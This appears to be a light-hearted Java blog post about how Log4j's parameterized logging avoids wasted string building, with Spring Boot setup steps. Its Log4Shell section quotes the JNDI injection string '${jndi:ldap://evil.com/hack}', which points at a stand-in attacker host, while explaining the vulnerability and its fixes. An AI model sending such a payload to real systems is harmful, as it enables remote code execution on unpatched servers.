Skip to main content

🗓️ That Day I Learned Something Loggically Shocking! 🤯💡 Clue: A tiny "+" in your logger can silently become your app's performance enemy! 🐛⚠️

🗓️  That Day I Learned Something Loggically Shocking! 🤯

Hey everyone! 👋

So recently while working on my project, I stumbled upon something super basic — yet kinda blew my mind. 💥

I wrote this:

log.info("hi {}", 0);

Then I asked myself... 🤔
"Why not just write this?"

log.info("hi" + 0);

I mean… both give me hi0, right?

🧵️ What could possibly go wrong?

Turns out — A LOT. Let me take you into this funny-yet-real rabbit hole 🕳️🐇 of how a tiny change in logging style can silently mess with your app’s performance — and how even your logs have trust issues! 😂

🔍 First of All — What is Log4j?

Log4j (Logging for Java) is a popular logging library used to capture logs (debug, info, error, etc.) in your Java applications. It gives you control over:

  • What gets logged (log level)
  • Where it goes (console, file, DB)
  • How it's formatted (pattern layout)

And much more...

It's basically your app's diary 📜 — but with timestamps, log levels, and developer regrets. 😅

🔧 How to Enable Log4j in Your Java App?

If you’re using Spring Boot, good news — logging is built-in, using Logback by default (not Log4j).

But you can switch to Log4j2 easily!

✅ Step-by-step:
  1. Exclude Logback in pom.xml:
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter</artifactId>
  <exclusions>
    <exclusion>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-logging</artifactId>
    </exclusion>
  </exclusions>
</dependency>
  1. Add Log4j2 dependencies:
<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
  1. Create a config file like log4j2.xml or log4j2.properties.
  2. Done! Logs will now flow via Log4j2.

🤔 Are There Alternatives to Log4j?

Yes! 👇

LoggerDescriptionUsed in
LogbackSuccessor to Log4j (default in Spring Boot)Modern Java apps
SLF4JNot a logger, but a façade (bridge)Helps switch logging frameworks
TinyLogLightweight alternativeMicroservices
Java Util Logging (JUL)Built into Java SDKLegacy systems

🚨 Most modern apps use SLF4J + Logback or SLF4J + Log4j2 combo.

So, if you’re using SLF4J + Log4j2 — that’s perfectly fine and widely used even today! 💪

🧪 Experiment Time — "hi {}" vs. "hi" + 0

Let’s compare the two:

// ✅ Proper way
log.info("hi {}", 0);

// ❌ Not-so-smart way
log.info("hi" + 0);

At first glance, both print the same output:
hi0

But... do you know what's happening behind the scenes? 🎮

🤖 Behind the Scenes — Log4j Knows When to Chill

Imagine you've turned off INFO logs in your application.properties:

logging.level.root=ERROR

Now:

🔴 If you used "hi" + 0 → the string is still built as "hi0" BEFORE Log4j checks the log level.

✅ But if you used "hi {}" → Log4j is smart enough to check if INFO is enabled before doing any message construction.

So…

  • 👉 log.info("hi" + 0); = CPU work wasted 💔
  • 👉 log.info("hi {}", 0); = CPU saved like a pro 🧘

🧵 Why This Matters — Not Just a Log

Let’s raise the stakes a bit. Here's a real-life example:

log.info("User: " + getUserDetails());

What if getUserDetails() hits a DB or builds a long object string? 👒
Now imagine this log being in a loop with 100,000 users and INFO is disabled... 😳

Even though nothing is printed, your server is still doing all the useless work. Welcome to silent performance killers. 🪓

That's why using parameterized logging is more than good code —
⚠️ It’s critical for performance and scalability.

💡 The Golden Rule

log.info("something {}", data);
log.info("something" + data);

Even a small string concat can have a big cost in high-traffic apps. 🏎️

💥 Wait — What's That Log4j Issue Everyone Talked About?

Ah yes, while we’re on the topic of Log4j — let’s not forget the infamous Log4Shell vulnerability (CVE-2021-44228). 🔓☠️

🔍 What was it?

Attackers found that Log4j could interpret logs as code, if they contained certain malicious strings like:

${jndi:ldap://evil.com/hack}

If this gets into your logs — say from a user input — Log4j would actually go to that remote server and execute the payload! 😱

It was a Remote Code Execution (RCE) nightmare. Your logs could be turned into weapons. 🥨

🛡️ How was it fixed?

  • Disabled JNDI lookups by default 🔐
  • Released patched versions: 2.15.0+
  • Added warnings for unsafe patterns

Organizations worldwide had to scramble to patch their apps 😨

So if you use Log4j today, make sure you're using a version above 2.17.1 for peace of mind. 🧘‍♀️

🤡 Real Dev Joke:

Me: "Why is my app lagging?"
CPU: "Because I'm busy logging stuff you don't even need!" 😫
Me: "Fair." 😅

🎁 Wrapping Up — My Surprise Lesson 🎓

This one line taught me so much:

log.info("hi {}", 0);

I used to write "hi" + 0 like it was no big deal… until I realized how Log4j is smart enough to:

  • Skip unnecessary work
  • Avoid heavy string creation
  • Respect log levels like a true gentleman 🥢

So next time you write a log, remember:
🧠 It’s not about what you log —
🔥 It’s about how you log.

Tiny habits → Big performance wins. 💪

🤛 Over to You!

Did you know about this Log4j performance trick? Were you using + until now? Let me know your logging sins in the comments 😜👇

And hey — tag that friend who still logs everything like it’s 1999. 🕺

Until next time, keep logging smart!
💬 — Your friendly developer from javabeanbag.blogspot.com

Comments

Popular posts from this blog

🐱 Tomcat vs ⚡ Netty – Which One Should You Use?

🐱 Tomcat vs ⚡ Netty – Which One Should You Use? So recently I got curious about this too 🤔. Everywhere in Spring Boot tutorials we see Tomcat . Then suddenly while exploring Spring WebFlux , the name Netty pops up. And I was like – “Wait, who’s this Netty guy trying to replace Tomcat?” 😅 Let’s break it down with real-time examples , icons , and fun comparisons . 🐱 Tomcat – The Traditional Web Server Type: Servlet Container (blocking I/O) World: Used with Spring MVC Style: Thread-per-request model 👩‍💻 Pros: Stable, widely used, battle-tested Cons: Struggles with huge concurrent connections 👉 Example in real life: Tomcat is like a restaurant with fixed waiters 🍴. - Each customer = one thread/waiter - If too many customers come in at once → waiters run out → customers wait outside 🚪 ⚡ Netty – The Reactive Rockstar Type: Asynchronous Event-Driven Network Framework World: Default for Spring WebFlux Style: Event-lo...

🎭 Spring’s Secret: Why @Transactional & Friends Betray You Silently

💡 Lesson Learned — Not a Prod Bug, But a Real Pain No, this wasn’t a production outage. Nobody screamed at me. But I sat for 3 hours wondering: “Why the heck is my @Transactional not rolling back!?” 😵‍💫 “Why is Redis cache not working?” 🤯 Turned out, the issue was one silent villain: 🧱 Self-invocation 🤷 What Is @Transactional ? If you're new: @Transactional = Tells Spring to start a DB transaction when a method is called. It’ll commit if everything’s okay. It’ll rollback if something fails. 🧠 Think of it like wrapping your code in: try { beginTransaction(); // your logic commit(); } catch(Exception e) { rollback(); } 🕵️ Real-Life Analogy — The Gateway Community 🏘️ Let me tell you about my society — it has a strict watchman at the gate. Here’s how it works: 🛂 Watchman = Spring Proxy 🏠 Your apartment = Your service class 🚪 Your room = A method inside that class 🏃 Scenario 1: Outsider Visits Your friend from outside...

🌟 My Journey – From Zero to Senior Java Tech Lead 🌟

 There’s one thing I truly believe… If I can become a Java developer, then anyone in the world can. 💯 Sounds crazy? Let me take you back. 🕓 Back in 2015… I had zero coding knowledge . Not just that — I had no interest in coding either. But life has its own plans. In 2016, I got a chance to move to Bangalore and joined a Java course at a training center. That’s where it all started — Every day, every session made me feel like: "Ohhh! Even I can be a developer!" That course didn’t just teach Java — it gave me confidence . 🧪 Two Life-Changing Incidents 1️⃣ The Interview That Wasn't Planned Halfway through my course, I had to urgently travel to Chennai to donate blood to a family member. After that emotional rollercoaster, I found myself reflecting on my skills and the future. The next day, as I was preparing for my move to Bangalore to complete the remaining four months of my course, I randomly thought — "Let me test my skills... let me just see...